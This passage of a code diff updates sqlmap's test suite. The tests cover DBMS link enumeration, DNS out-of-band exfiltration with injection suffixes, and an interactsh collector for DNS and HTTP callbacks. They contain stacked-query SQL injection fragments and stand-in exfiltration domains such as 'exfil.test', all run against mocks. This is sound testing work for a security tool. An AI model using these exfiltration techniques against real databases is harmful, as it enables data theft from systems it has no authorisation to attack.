expected = ["APP.REMOTE -> <unknown>", "PUBLIC.REMOTE -> db.example"]
|
||||
self.assertEqual([row[0] for row in conn.execute(root.inband.query)], expected)
|
||||
self.assertEqual(conn.execute(root.blind.count).fetchone()[0], 2)
|
||||
self.assertEqual([conn.execute(root.blind.query % i).fetchone()[0] for i in range(2)], expected)
|
||||
self.assertIsNone(conn.execute(root.blind.query % 2).fetchone())
|
||||
finally:
|
||||
conn.close()
|
||||
|
||||
def test_empty_or_unavailable_blind_count_does_not_fetch_rows(self):
|
||||
set_dbms("Oracle")
|
||||
self._enable_inference()
|
||||
for count in (0, "0", None, "unavailable"):
|
||||
d = self._fresh()
|
||||
|
||||
def gv(query, **kwargs):
|
||||
self.assertEqual(kwargs.get("expected"), EXPECTED.INT)
|
||||
return count
|
||||
|
||||
dbmod.inject.getValue = gv
|
||||
self.assertEqual(d.getLinks(), [])
|
||||
|
||||
def test_help_is_one_line(self):
|
||||
output = subprocess.check_output([sys.executable, os.path.join(os.path.dirname(__file__), "..", "sqlmap.py"), "-hh"])
|
||||
lines = output.decode("utf-8").splitlines()
|
||||
helpLines = [line for line in lines if "--links" in line]
|
||||
self.assertEqual(len(helpLines), 1)
|
||||
self.assertIn("Enumerate DBMS links", helpLines[0])
|
||||
self.assertLessEqual(len(helpLines[0]), 78)
|
||||
|
||||
|
||||
class TestGetProcedures(_BaseEnumTest):
|
||||
def test_procedures_direct_pgsql(self):
|
||||
set_dbms("PostgreSQL")
|
||||
|
||||
@@ -43,9 +43,13 @@ bootstrap()
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import Backend
|
||||
from lib.core.data import conf, kb
|
||||
from lib.core.data import conf, kb, queries
|
||||
from lib.core.datatype import AttribDict
|
||||
from lib.core.datatype import InjectionDict
|
||||
from lib.core.threads import getCurrentThreadData
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.enums import PAYLOAD
|
||||
from lib.core.enums import PLACE
|
||||
from lib.core.exception import SqlmapNotVulnerableException
|
||||
from lib.core.settings import DNS_BOUNDARIES_ALPHABET
|
||||
from lib.core.settings import MAX_DNS_LABEL
|
||||
@@ -80,7 +84,8 @@ class _HighPortDNSServer(DNSServer):
|
||||
except socket.error:
|
||||
pass
|
||||
|
||||
_CONF = {"dnsDomain": "exfil.test", "hexConvert": False, "api": False, "verbose": 0, "forceDns": False}
|
||||
_CONF = {"dnsDomain": "exfil.test", "hexConvert": False, "api": False, "verbose": 0, "forceDns": False,
|
||||
"suffix": None, "direct": False}
|
||||
_KB = {"dnsTest": True, "dnsMode": False, "bruteMode": False, "safeCharEncode": False}
|
||||
|
||||
|
||||
@@ -252,6 +257,73 @@ class TestDnsExfilEngineMssql(TestDnsExfilEngine):
|
||||
DBMS_NAME = "Microsoft SQL Server"
|
||||
|
||||
|
||||
class TestDnsStackedSuffix(_DnsCase):
|
||||
def setUp(self):
|
||||
_DnsCase.setUp(self)
|
||||
restore_attrs(self._s_agent)
|
||||
self._saved_target = {k: conf.get(k) for k in ("parameters", "paramDict", "prefix")}
|
||||
self._saved_injection = {k: kb.get(k) for k in ("injection", "technique", "forceWhere")}
|
||||
conf.parameters = {PLACE.GET: "id=1"}
|
||||
conf.paramDict = {PLACE.GET: {"id": "1"}}
|
||||
conf.prefix = " /* custom prefix */"
|
||||
kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN
|
||||
kb.forceWhere = None
|
||||
kb.injection = InjectionDict()
|
||||
kb.injection.place = PLACE.GET
|
||||
kb.injection.parameter = "id"
|
||||
kb.injection.prefix = conf.prefix
|
||||
kb.injection.suffix = "; SELECT 999-- inferred suffix"
|
||||
kb.injection.clause = [1]
|
||||
kb.injection.data[PAYLOAD.TECHNIQUE.BOOLEAN] = AttribDict({"where": PAYLOAD.WHERE.ORIGINAL, "comment": "-- inferred comment"})
|
||||
|
||||
def tearDown(self):
|
||||
for k, v in self._saved_target.items():
|
||||
conf[k] = v
|
||||
for k, v in self._saved_injection.items():
|
||||
kb[k] = v
|
||||
_DnsCase.tearDown(self)
|
||||
|
||||
def _extract_with_suffix(self, suffix):
|
||||
secret = "The quick brown fox jumps over the lazy dog 0123456789"
|
||||
conf.suffix = suffix
|
||||
|
||||
for dbms in (DBMS.MSSQL, DBMS.PGSQL):
|
||||
set_dbms(dbms)
|
||||
self._install_oracle(secret)
|
||||
oracle = Connect.queryPage
|
||||
payloads = []
|
||||
|
||||
def require_suffix(payload, **kwargs):
|
||||
sql = agent.removePayloadDelimiters(payload)
|
||||
payloads.append(sql)
|
||||
# Model an endpoint that accepts the DNS payload only with its required ending.
|
||||
if suffix and not sql.endswith(suffix):
|
||||
return None
|
||||
return oracle(payload, **kwargs)
|
||||
|
||||
Connect.queryPage = staticmethod(require_suffix)
|
||||
self.assertEqual(dnsmod.dnsUse("unused", "SELECT secret"), secret, dbms)
|
||||
self.assertGreater(len(payloads), 1, dbms)
|
||||
for payload in payloads:
|
||||
self.assertTrue(payload.startswith("id=1%s; " % conf.prefix), dbms)
|
||||
self.assertNotIn("-- inferred", payload)
|
||||
if suffix is None:
|
||||
self.assertTrue(payload.endswith(queries[dbms].comment.query), dbms)
|
||||
elif suffix:
|
||||
self.assertTrue(payload.endswith(suffix), dbms)
|
||||
else:
|
||||
self.assertFalse(payload.endswith(queries[dbms].comment.query), dbms)
|
||||
|
||||
def test_explicit_suffix_survives_every_chunk(self):
|
||||
self._extract_with_suffix("; SELECT 4973-- required suffix")
|
||||
|
||||
def test_default_comment_without_explicit_suffix(self):
|
||||
self._extract_with_suffix(None)
|
||||
|
||||
def test_explicit_empty_suffix_does_not_add_comment(self):
|
||||
self._extract_with_suffix("")
|
||||
|
||||
|
||||
class TestDnsLabelInvariant(_DnsCase):
|
||||
"""The exfil chunk is hex-encoded into ONE DNS label, so the label dnsUse emits must never
|
||||
exceed the 63-octet DNS label limit - otherwise the query carries an invalid (over-long) label
|
||||
|
||||
+489
-14
@@ -17,6 +17,7 @@ import struct
|
||||
import sys
|
||||
import threading
|
||||
import time
|
||||
import types
|
||||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||
@@ -100,6 +101,33 @@ def _wait_popped(srv, prefix, suffix, timeout=WAIT_TIMEOUT):
|
||||
return None
|
||||
|
||||
|
||||
def _stop_client_poller(client):
|
||||
"""Best-effort shutdown of a client's single background poller, used by stubbed close()
|
||||
so test teardown never joins a live thread or reaches the network."""
|
||||
poller = getattr(client, "_poller", None)
|
||||
if poller is not None:
|
||||
try:
|
||||
poller.stop()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
|
||||
def _start_test_poller(client):
|
||||
"""Start a real InteractshPoller around a fake poll() without requiring pycryptodome.
|
||||
|
||||
Interactsh._ensurePoller() intentionally no-ops when crypto is unavailable because a real
|
||||
interactsh /poll response cannot then be decrypted. These tests replace poll() with an
|
||||
already-decoded in-memory fake, so their queue/poller behavior should not depend on whether
|
||||
the test interpreter happens to have Crypto installed (notably PyPy 2.7 in CI).
|
||||
"""
|
||||
from lib.request.interactsh import InteractshPoller
|
||||
poller = getattr(client, "_poller", None)
|
||||
if poller is None:
|
||||
client._poller = poller = InteractshPoller(client)
|
||||
poller.start()
|
||||
return poller
|
||||
|
||||
|
||||
class _SendFailOnceSocket(object):
|
||||
"""Wraps a real UDP socket; first sendto() raises (simulated transient failure)"""
|
||||
def __init__(self, real):
|
||||
@@ -322,27 +350,62 @@ class TestDNSServerConcurrency(unittest.TestCase):
|
||||
self.assertEqual(self.srv.pop("gg" + chr(ord("g")), "mm" + chr(ord("g"))), None)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main(verbosity=2)
|
||||
|
||||
|
||||
class TestInteractshDNSServer(unittest.TestCase):
|
||||
"""The interactsh-backed DNS collector must present the same pop(prefix, suffix)
|
||||
accounting as DNSServer, matching only prefix.<result>.suffix names and never
|
||||
returning the same captured lookup twice."""
|
||||
|
||||
def _collector(self, names):
|
||||
class _FakeClient(object):
|
||||
registered = True
|
||||
def dnsDomain(self): return "corr0000000000000nnc.oast.fun"
|
||||
def dnsNames(self): return list(names)
|
||||
def _collector(self, names, deadline=None, start_poller=True):
|
||||
"""Build an InteractshDNSServer (bypassing __init__) over a fake client.
|
||||
|
||||
The fake drives the real poller-aware consume path (production code, not a stub), returns
|
||||
its records ONCE destructively - exactly as a real interactsh endpoint drains storage -
|
||||
and, because close()/_request() are stubbed, can never reach the network at teardown.
|
||||
``deadline`` sets this instance's pop() search budget (seconds); ``start_poller`` runs the
|
||||
single background consumer, as normal registered operation would.
|
||||
"""
|
||||
from lib.request.interactsh import Interactsh
|
||||
client = Interactsh.__new__(Interactsh) # bypass network __init__
|
||||
client.registered = True
|
||||
client.correlationId = "corr0000000000000nnc"
|
||||
client.server = "oast.fun"
|
||||
client.secret = "test-secret"
|
||||
client._pollerLock = threading.Lock() # __init__ is bypassed, so set it explicitly
|
||||
client._stopping = False # __init__ sets it; set it here too
|
||||
client._dnsNonce = None # lets the real dnsDomain() run (lazy-initialises it)
|
||||
|
||||
names_batch = list(names)
|
||||
|
||||
def poll():
|
||||
# return the whole batch once, then nothing - mirrors an interactsh endpoint
|
||||
# draining its pending storage in a single /poll response
|
||||
if names_batch:
|
||||
batch = [{"protocol": "dns", "full-id": n, "unique-id": n} for n in names_batch]
|
||||
del names_batch[:]
|
||||
return batch
|
||||
return []
|
||||
client.poll = poll
|
||||
|
||||
for meth in ("_ensurePoller", "_consume", "_safeSelector"):
|
||||
setattr(client, meth, types.MethodType(getattr(Interactsh, meth), client))
|
||||
|
||||
# teardown (srv.stop() -> client.stop() -> close) must never touch the network
|
||||
client.close = lambda: _stop_client_poller(client)
|
||||
client._request = lambda *a, **k: None
|
||||
|
||||
srv = InteractshDNSServer.__new__(InteractshDNSServer)
|
||||
srv._client = _FakeClient()
|
||||
srv._client = client
|
||||
srv.domain = srv._client.dnsDomain()
|
||||
srv._seen = set()
|
||||
srv._running = True
|
||||
srv._initialized = True
|
||||
srv._POLL_TRIES = 1 # no real sleeps in unit tests
|
||||
srv._POP_DEADLINE = deadline if deadline is not None else InteractshDNSServer._POP_DEADLINE
|
||||
self.addCleanup(srv.stop) # stops the poller then deregisters (close() is network-stubbed)
|
||||
if start_poller:
|
||||
poller = _start_test_poller(srv._client)
|
||||
t = time.time() + 2.0
|
||||
while not poller._queue and time.time() < t: # wait for the destructive batch to stage
|
||||
time.sleep(0.01)
|
||||
return srv
|
||||
|
||||
def test_pop_matches_prefix_suffix_and_dedups(self):
|
||||
@@ -350,16 +413,428 @@ class TestInteractshDNSServer(unittest.TestCase):
|
||||
srv = self._collector(names)
|
||||
got = srv.pop("aaa", "zzz")
|
||||
self.assertEqual(got, "aaa.5345435245540a.zzz.corr0000000000000nnc")
|
||||
self.assertIsNone(srv.pop("aaa", "zzz")) # already consumed
|
||||
self.assertIsNone(srv.pop("aaa", "zzz", deadline=0)) # consumed only once (snapshot)
|
||||
srv.stop()
|
||||
|
||||
def test_pop_does_not_consume_a_sharing_http_record(self):
|
||||
"""Regression for the cross-consumer loss the shared poller was introduced to prevent.
|
||||
|
||||
pop() and httpRequests() draw from the same background poller queue. If pop() does not
|
||||
verify the record's protocol, a queued HTTP interaction whose full-id matches the DNS
|
||||
window would be returned as though it were a DNS lookup, and the HTTP consumer would
|
||||
then lose it. Both records here share the SAME full-id; pop() must return the DNS name
|
||||
only and leave the HTTP record for httpRequests()."""
|
||||
from lib.request.interactsh import Interactsh
|
||||
dns_full = "aaa.deadbeef.bbb.corr0000000000000nnc"
|
||||
http_full = "aaa.deadbeef.bbb.corr0000000000000nnc" # shared full-id with the DNS record
|
||||
recs = [
|
||||
{"protocol": "dns", "full-id": dns_full, "unique-id": dns_full,
|
||||
"remote-address": "1.1.1.1", "raw-request": "QUERY"},
|
||||
{"protocol": "http", "full-id": http_full,
|
||||
"raw-request": "GET /?cafebabe=1 HTTP/1.1", "remote-address": "2.2.2.2"},
|
||||
]
|
||||
client = Interactsh.__new__(Interactsh) # bypass network __init__
|
||||
client.registered = True
|
||||
client.correlationId = "corr0000000000000nnc"
|
||||
client.server = "oast.fun"
|
||||
client.secret = "test-secret"
|
||||
client._pollerLock = threading.Lock() # __init__ is bypassed, so set it explicitly
|
||||
client._stopping = False # __init__ sets it; set it here too
|
||||
client._dnsNonce = None
|
||||
|
||||
rec_batch = list(recs)
|
||||
|
||||
def poll():
|
||||
# return the whole batch once, then nothing - mirrors an interactsh endpoint
|
||||
# draining its pending storage in a single /poll response
|
||||
if rec_batch:
|
||||
batch = rec_batch[:]
|
||||
del rec_batch[:]
|
||||
return batch
|
||||
return []
|
||||
client.poll = poll
|
||||
|
||||
for meth in ("_ensurePoller", "_consume", "_safeSelector"):
|
||||
setattr(client, meth, types.MethodType(getattr(Interactsh, meth), client))
|
||||
client.close = lambda: _stop_client_poller(client)
|
||||
client._request = lambda *a, **k: None
|
||||
|
||||
srv = InteractshDNSServer.__new__(InteractshDNSServer)
|
||||
srv._client = client
|
||||
srv.domain = srv._client.dnsDomain()
|
||||
srv._seen = set()
|
||||
srv._running = True
|
||||
srv._initialized = True
|
||||
srv._POP_DEADLINE = 1.0
|
||||
self.addCleanup(srv.stop)
|
||||
|
||||
poller = _start_test_poller(srv._client) # real queue/poller, fake already-decoded poll()
|
||||
t = time.time() + 2.0
|
||||
while not poller._queue and time.time() < t: # wait for the destructive batch to stage
|
||||
time.sleep(0.01)
|
||||
|
||||
self.assertEqual(srv.pop("aaa", "bbb"), dns_full) # DNS record claimed
|
||||
self.assertFalse(srv.pop("aaa", "bbb", deadline=0)) # snapshot after the DNS record is gone
|
||||
# the HTTP record with the same full-id is still there for the HTTP consumer
|
||||
out = client.httpRequests()
|
||||
self.assertEqual(len(out), 1)
|
||||
self.assertEqual(out[0]["full-id"], http_full)
|
||||
self.assertEqual(out[0]["query-param-names"], ["cafebabe"])
|
||||
|
||||
def test_pop_no_match(self):
|
||||
srv = self._collector(["aaa.deadbeef.qqq.corr0000000000000nnc"])
|
||||
srv = self._collector(["aaa.deadbeef.qqq.corr0000000000000nnc"], deadline=1.0, start_poller=False)
|
||||
self.assertIsNone(srv.pop("aaa", "zzz"))
|
||||
|
||||
def test_pop_any(self):
|
||||
srv = self._collector(["whatever.corr0000000000000nnc"])
|
||||
self.assertEqual(srv.pop(), "whatever.corr0000000000000nnc")
|
||||
srv.stop()
|
||||
|
||||
def test_run_is_noop(self):
|
||||
self._collector([]).run() # must not raise
|
||||
srv = self._collector([])
|
||||
srv.run() # must not raise
|
||||
srv.stop()
|
||||
|
||||
def test_pop_with_no_poller_installed(self):
|
||||
"""Backwards-compatible: a server without a running poller resolves pop() via the direct
|
||||
(synchronous) poll path."""
|
||||
names = ["mmm.cafebabefff.ccc.corr0000000000000nnc"]
|
||||
srv = self._collector(names, start_poller=False)
|
||||
self.assertEqual(srv.pop("mmm", "ccc", sync=True), names[0])
|
||||
srv.stop()
|
||||
|
||||
def test_background_poller_stages_names_instantly(self):
|
||||
"""With the single background poller running, pop() reads a staged name from its in-memory
|
||||
queue with no extra /poll round-trip."""
|
||||
names = ["aaa.deadbeef.bbb.corr0000000000000nnc"]
|
||||
srv = self._collector(names) # poller started and its destructive batch staged
|
||||
try:
|
||||
self.assertTrue(srv._client._poller.isRunning())
|
||||
self.assertEqual(_wait_popped(srv, "aaa", "bbb"), names[0])
|
||||
self.assertIsNone(srv.pop("aaa", "bbb", deadline=0)) # only one lookup exists (snapshot)
|
||||
finally:
|
||||
srv.stop()
|
||||
|
||||
def test_background_poller_preserves_foreign_window_names(self):
|
||||
"""A name for a *different* window survives its own pop() scan - pop(zzz,yyy) must not drain
|
||||
the aaa/bbb record, which pop(aaa,bbb) then returns."""
|
||||
names = ["aaa.deadbeef.bbb.corr0000000000000nnc"]
|
||||
srv = self._collector(names, deadline=1.0)
|
||||
try:
|
||||
self.assertFalse(srv.pop("zzz", "yyy")) # wrong window yields nothing (~1s)
|
||||
self.assertEqual(srv.pop("aaa", "bbb"), names[0])
|
||||
self.assertIsNone(srv.pop("aaa", "bbb", deadline=0)) # only one lookup (snapshot)
|
||||
finally:
|
||||
srv.stop()
|
||||
|
||||
def test_ensure_poller_starts_only_one_background_thread(self):
|
||||
"""Concurrent _ensurePoller() callers must converge on a single background poller.
|
||||
|
||||
The create-and-start decision runs under _pollerLock, so two threads racing on an
|
||||
unstarted session cannot each build their own poller and destructively poll the same
|
||||
interaction session concurrently - precisely what this redesign exists to prevent."""
|
||||
from lib.request.interactsh import Interactsh, InteractshPoller, hasCrypto
|
||||
if not hasCrypto():
|
||||
self.skipTest("requires pycryptodome")
|
||||
client = Interactsh.__new__(Interactsh)
|
||||
client.registered = True
|
||||
client.correlationId = "corr0000000000000nnc"
|
||||
client.server = "oast.fun"
|
||||
client.secret = "test-secret"
|
||||
client._dnsNonce = None
|
||||
client._poller = None
|
||||
client._pollerLock = threading.Lock()
|
||||
client._stopping = False # set by __init__ in the real client; set it here too
|
||||
for meth in ("_ensurePoller", "_consume", "_safeSelector"):
|
||||
setattr(client, meth, types.MethodType(getattr(Interactsh, meth), client))
|
||||
# stub the remote endpoint and deregister path so the poll loop and client.stop() stay
|
||||
# offline while we probe the create/start synchronisation
|
||||
client.poll = lambda: []
|
||||
client._request = lambda *a, **k: "[]"
|
||||
|
||||
started = []
|
||||
orig_start = InteractshPoller.start
|
||||
|
||||
def counting_start(self):
|
||||
started.append(self) # record every poller whose start() is invoked
|
||||
orig_start(self)
|
||||
|
||||
client._poller = None
|
||||
InteractshPoller.start = counting_start
|
||||
try:
|
||||
threads = [threading.Thread(target=client._ensurePoller) for _ in range(16)]
|
||||
for t in threads:
|
||||
t.start()
|
||||
for t in threads:
|
||||
t.join()
|
||||
finally:
|
||||
InteractshPoller.start = orig_start
|
||||
# the single poller was created exactly once and is still running (only one thread
|
||||
# ever polled the session)
|
||||
self.assertEqual(len(started), 1) # start() invoked exactly once
|
||||
self.assertEqual(len(set(id(p) for p in started)), 1) # exactly one InteractshPoller
|
||||
self.assertIn(client._poller, started)
|
||||
self.assertTrue(client._poller._running)
|
||||
# stop the daemon poller before this test returns so its /poll loop (stubbed to [])
|
||||
# does not keep looping once per second for the rest of the test process
|
||||
client._poller.stop()
|
||||
|
||||
def test_close_stops_poller_and_deregisters(self):
|
||||
"""close() must remain the canonical complete teardown: after it returns this object owns
|
||||
no active polling thread.
|
||||
|
||||
Interactsh.close() predates the background poller and only deregistered, so a running
|
||||
poller could keep polling (and race the remote session during deregistration). close()
|
||||
now routes through stop()."""
|
||||
from lib.request.interactsh import Interactsh, hasCrypto
|
||||
if not hasCrypto():
|
||||
self.skipTest("requires pycryptodome")
|
||||
client = Interactsh.__new__(Interactsh)
|
||||
client.registered = True
|
||||
client.correlationId = "corr0000000000000nnc"
|
||||
client.server = "oast.fun"
|
||||
client.secret = "test-secret"
|
||||
client._dnsNonce = None
|
||||
client._pollerLock = threading.Lock() # __init__ is bypassed, so set it explicitly
|
||||
client._stopping = False # __init__ sets it; set it here too
|
||||
for meth in ("_ensurePoller", "_consume", "_safeSelector"):
|
||||
setattr(client, meth, types.MethodType(getattr(Interactsh, meth), client))
|
||||
# stub remote endpoint and deregister path so the poll loop and client.stop() stay offline
|
||||
client.poll = lambda: []
|
||||
client._request = lambda *a, **k: "[]"
|
||||
|
||||
client._ensurePoller() # start the single background poller
|
||||
self.assertTrue(client._poller.isRunning())
|
||||
|
||||
client.close() # close() must stop the poller and deregister
|
||||
# isRunning() would be False even while the thread still runs when poll() wedged past the
|
||||
# join budget; assert the underlying thread is actually gone so the invariant is real.
|
||||
self.assertFalse(client._poller._thread.is_alive()) # no active polling thread remains
|
||||
self.assertFalse(client._poller.isRunning())
|
||||
self.assertFalse(client.registered)
|
||||
# cleanup: idempotent - already stopped/deregistered
|
||||
self.addCleanup(client.stop)
|
||||
|
||||
def test_consume_does_not_poll_while_stopping(self):
|
||||
"""_consume() must not do its own destructive /poll during shutdown.
|
||||
|
||||
_consume() used to fall back to self.poll() whenever the poller was not running. Even
|
||||
though _ensurePoller() refuses to start a new poller once _stopping is set, pop() can still
|
||||
reach that fallback: _stopping is set, the poller is stopped, but _consume() could then
|
||||
directly call self.poll() (a destructive /poll) just before stop()'s close(). A direct
|
||||
poll during shutdown is exactly the unsynchronised drain that breaks the shared-session
|
||||
invariant, so a stopped poller must yield [] - never a direct poll()."""
|
||||
from lib.request.interactsh import Interactsh, hasCrypto
|
||||
if not hasCrypto():
|
||||
self.skipTest("requires pycryptodome")
|
||||
client = Interactsh.__new__(Interactsh) # bypass network __init__
|
||||
client.registered = True
|
||||
client.correlationId = "corr0000000000000nnc"
|
||||
client.server = "oast.fun"
|
||||
client.secret = "test-secret"
|
||||
client._poller = None
|
||||
client._pollerLock = threading.Lock() # __init__ is bypassed, so set it explicitly
|
||||
client._stopping = True # simulate an active stop()
|
||||
client._dnsNonce = None
|
||||
|
||||
calls = {"poll": 0}
|
||||
|
||||
def spy_poll():
|
||||
calls["poll"] += 1
|
||||
return []
|
||||
|
||||
client.poll = spy_poll
|
||||
|
||||
for meth in ("_ensurePoller", "_consume", "_safeSelector"):
|
||||
setattr(client, meth, types.MethodType(getattr(Interactsh, meth), client))
|
||||
|
||||
# even with no poller at all, a stopped session must not call poll() from _consume
|
||||
# (drain_matching on a non-running poller yields [])
|
||||
self.assertEqual(client._consume(lambda r: r.get("protocol") == "dns"), [])
|
||||
self.assertEqual(client._consume(lambda r: r.get("protocol") == "dns"), [])
|
||||
self.assertEqual(calls["poll"], 0) # sync=False: ensurePoller refused while stopping
|
||||
|
||||
# sync=True must NOT initiate a remote poll once shutdown has begun: the direct-poll path
|
||||
# is gated behind _stopping==False, so a stopped session drains the (empty) queue instead
|
||||
# - no caller initiates another /poll after stop(), not even this compatibility path.
|
||||
self.assertEqual(client._consume(lambda r: r.get("protocol") == "dns", sync=True), [])
|
||||
self.assertEqual(calls["poll"], 0)
|
||||
|
||||
# sanity: sync=True still drives poll() on a live (not-stopping) session - this guards
|
||||
# against over-closing the safety check to sync itself. _stopping stays False, poller
|
||||
# never starts (sync drains directly), so nothing needs cleaning up.
|
||||
client._stopping = False
|
||||
self.assertEqual(client._consume(lambda r: r.get("protocol") == "dns", sync=True), [])
|
||||
self.assertEqual(calls["poll"], 1)
|
||||
|
||||
def test_consume_does_not_second_poll_while_poller_running(self):
|
||||
"""sync=True must not add a second /poll caller while the background poller is already running.
|
||||
|
||||
The shared-poller invariant is that only ONE code path ever calls the remote /poll endpoint.
|
||||
A spurious sync=True during normal operation used to be the footgun: it called self.poll()
|
||||
even when a live poller was already draining the session, yielding a second destructive
|
||||
/poll. With a running poller sync=True must drain the poller's in-memory queue instead -
|
||||
no additional poll() call - and the decision must be serialized under _pollerLock so a
|
||||
concurrent _ensurePoller() cannot start a new poller in the gap between the check and the
|
||||
(absent) poll()."""
|
||||
from lib.request.interactsh import Interactsh, hasCrypto
|
||||
if not hasCrypto():
|
||||
self.skipTest("requires pycryptodome")
|
||||
client = Interactsh.__new__(Interactsh) # bypass network __init__
|
||||
client.registered = True
|
||||
client.correlationId = "corr0000000000000nnc"
|
||||
client.server = "oast.fun"
|
||||
client.secret = "test-secret"
|
||||
client._pollerLock = threading.Lock() # __init__ is bypassed, so set it explicitly
|
||||
client._stopping = False
|
||||
client._dnsNonce = None
|
||||
client._poller = None
|
||||
# stub remote + deregister paths so any direct poll() stays offline
|
||||
client.poll = lambda: []
|
||||
client._request = lambda *a, **k: "[]"
|
||||
for meth in ("_ensurePoller", "_consume", "_safeSelector"):
|
||||
setattr(client, meth, types.MethodType(getattr(Interactsh, meth), client))
|
||||
# start the single background poller, then replace poll with a counting spy AFTER staging.
|
||||
# Count only calls made from THIS (foreground) thread: the legitimate background poller
|
||||
# thread is permitted to poll(), so thread identity - not a bare call count - isolates the
|
||||
# footgun (sync=True issuing a second /poll) from routine background polling.
|
||||
main_thread = threading.current_thread()
|
||||
foreground_calls = []
|
||||
client._ensurePoller()
|
||||
self.assertTrue(client._poller.isRunning())
|
||||
|
||||
def spy_poll():
|
||||
if threading.current_thread() is main_thread:
|
||||
foreground_calls.append(1)
|
||||
return []
|
||||
client.poll = spy_poll
|
||||
|
||||
# sync=True on a live, poller-running session drains the queue; the running poller is the
|
||||
# only code that issues /poll, so the foreground must never call poll() directly.
|
||||
self.assertEqual(client._consume(lambda r: r.get("protocol") == "dns", sync=True), [])
|
||||
self.assertEqual(client._consume(lambda r: r.get("protocol") == "dns", sync=True), [])
|
||||
self.assertEqual(foreground_calls, []) # sync=True issued no direct /poll
|
||||
client.stop() # join the single (still-running) poll thread
|
||||
|
||||
|
||||
|
||||
class TestInteractshHTTPRequests(unittest.TestCase):
|
||||
"""HTTP-based out-of-band retrieval is the collector half of an HTTP-OOB SQLi exfil channel.
|
||||
|
||||
interactsh returns full 'http' protocol records with a verbatim 'raw-request', a
|
||||
'protocol' ("http" or "https") and a 'remote-address' - the request line, not a parsed
|
||||
path/query. Because an HTTP callback can be blocked (e.g. firewalled query string) and a
|
||||
value may contain characters unsafe in a query-string name, the payload is embedded in a
|
||||
query-string *parameter name* and httpRequests() decodes and returns the distinct names.
|
||||
|
||||
The request target is split on the *raw* '?'/'&'/first '=' and only each name is percent-
|
||||
decoded individually, so encoded delimiter bytes survive (``%26``->'&', ``%3D``->'=',
|
||||
``%25``->'%'); decoding the whole target first would corrupt them."""
|
||||
|
||||
def _client(self, records):
|
||||
"""Fake client carrying the records in poll(), wired to the real poller-aware consume path.
|
||||
|
||||
Records are returned once (destructive, like a draining interactsh endpoint) and the
|
||||
poller is started so httpRequests() exercises the normal registered-poller path; teardown
|
||||
cannot reach the network."""
|
||||
from lib.request.interactsh import Interactsh
|
||||
client = Interactsh.__new__(Interactsh) # bypass network __init__
|
||||
client.registered = True
|
||||
client.correlationId = "corr0000000000000nnc"
|
||||
client.server = "oast.fun"
|
||||
client.secret = "test-secret"
|
||||
client._pollerLock = threading.Lock() # __init__ is bypassed, so set it explicitly
|
||||
client._stopping = False # __init__ sets it; set it here too
|
||||
|
||||
rec_batch = list(records)
|
||||
|
||||
def poll():
|
||||
# return the whole batch once, then nothing - mirrors an interactsh endpoint
|
||||
# draining its pending storage in a single /poll response
|
||||
if rec_batch:
|
||||
batch = rec_batch[:]
|
||||
del rec_batch[:]
|
||||
return batch
|
||||
return []
|
||||
client.poll = poll
|
||||
|
||||
for meth in ("_ensurePoller", "_consume", "_safeSelector"):
|
||||
setattr(client, meth, types.MethodType(getattr(Interactsh, meth), client))
|
||||
|
||||
client.close = lambda: _stop_client_poller(client)
|
||||
client._request = lambda *a, **k: None
|
||||
|
||||
poller = _start_test_poller(client)
|
||||
t = time.time() + 2.0
|
||||
while not poller._queue and time.time() < t:
|
||||
time.sleep(0.01)
|
||||
# client.stop() (registered as cleanup) stops the single background poller then
|
||||
# deregisters, so the poll thread never outlives this test and never reaches the network
|
||||
self.addCleanup(client.stop)
|
||||
return client
|
||||
|
||||
def test_extracts_query_param_names_from_raw_request(self):
|
||||
records = [{"protocol": "http", "full-id": "a.b.c", "raw-request": "GET /?deadbeef=cafebabe HTTP/1.1", "remote-address": "1.2.3.4"}]
|
||||
client = self._client(records)
|
||||
out = client.httpRequests()
|
||||
self.assertEqual(len(out), 1)
|
||||
# only the query-string *name* is the attacker-controlled exfil slot; the value rides on it
|
||||
self.assertEqual(out[0]["query-param-names"], ["deadbeef"])
|
||||
self.assertEqual(out[0]["client"], "1.2.3.4")
|
||||
self.assertEqual(out[0]["request"], "GET /?deadbeef=cafebabe HTTP/1.1")
|
||||
|
||||
def test_decodes_each_name_individually(self):
|
||||
"""Encoded delimiter bytes must survive split: each name is decoded on its own."""
|
||||
records = [
|
||||
{"protocol": "https", "full-id": "a", "raw-request": "GET /?aa%26bb=1 HTTP/1.1"}, # %26 -> '&'
|
||||
{"protocol": "https", "full-id": "b", "raw-request": "GET /?cc%3Ddd=1 HTTP/1.1"}, # %3D -> '='
|
||||
{"protocol": "https", "full-id": "c", "raw-request": "GET /?ee%25ff=1 HTTP/1.1"}, # %25 -> '%'
|
||||
]
|
||||
client = self._client(records)
|
||||
out = client.httpRequests()
|
||||
self.assertEqual([r["query-param-names"] for r in out], [["aa&bb"], ["cc=dd"], ["ee%ff"]])
|
||||
|
||||
def test_skips_non_http_records(self):
|
||||
records = [{"protocol": "dns", "full-id": "x.y"}]
|
||||
client = self._client(records)
|
||||
self.assertEqual(client.httpRequests(), [])
|
||||
|
||||
def test_distinct_names_are_not_duplicated(self):
|
||||
records = [{"protocol": "http", "full-id": "a", "raw-request": "GET /?deadbeef=1 HTTP/1.1"},
|
||||
{"protocol": "http", "full-id": "b", "raw-request": "GET /?cafebabe=2 HTTP/1.1"}]
|
||||
client = self._client(records)
|
||||
out = client.httpRequests()
|
||||
names = [name for r in out for name in r["query-param-names"]]
|
||||
self.assertEqual(set(names), {"deadbeef", "cafebabe"})
|
||||
|
||||
def test_empty_poll_returns_empty(self):
|
||||
client = self._client([])
|
||||
self.assertEqual(client.httpRequests(), [])
|
||||
|
||||
def test_selector_exception_is_absorbed(self):
|
||||
"""A selector that raises must be caught (not propagated out of httpRequests/_consume)"""
|
||||
records = [{"protocol": "http", "full-id": "a", "raw-request": "GET /?x=1 HTTP/1.1"}]
|
||||
client = self._client(records)
|
||||
|
||||
def boom(record):
|
||||
raise ValueError("boom")
|
||||
|
||||
self.assertEqual(client._consume(boom, deadline=None), [])
|
||||
|
||||
def test_multiple_http_same_host_are_not_dropped(self):
|
||||
"""The reviewer's core case: several HTTP requests hitting the same interactsh host - i.e.
|
||||
sharing 'full-id' - must all survive the poller's dedup. Dedup is by the interaction
|
||||
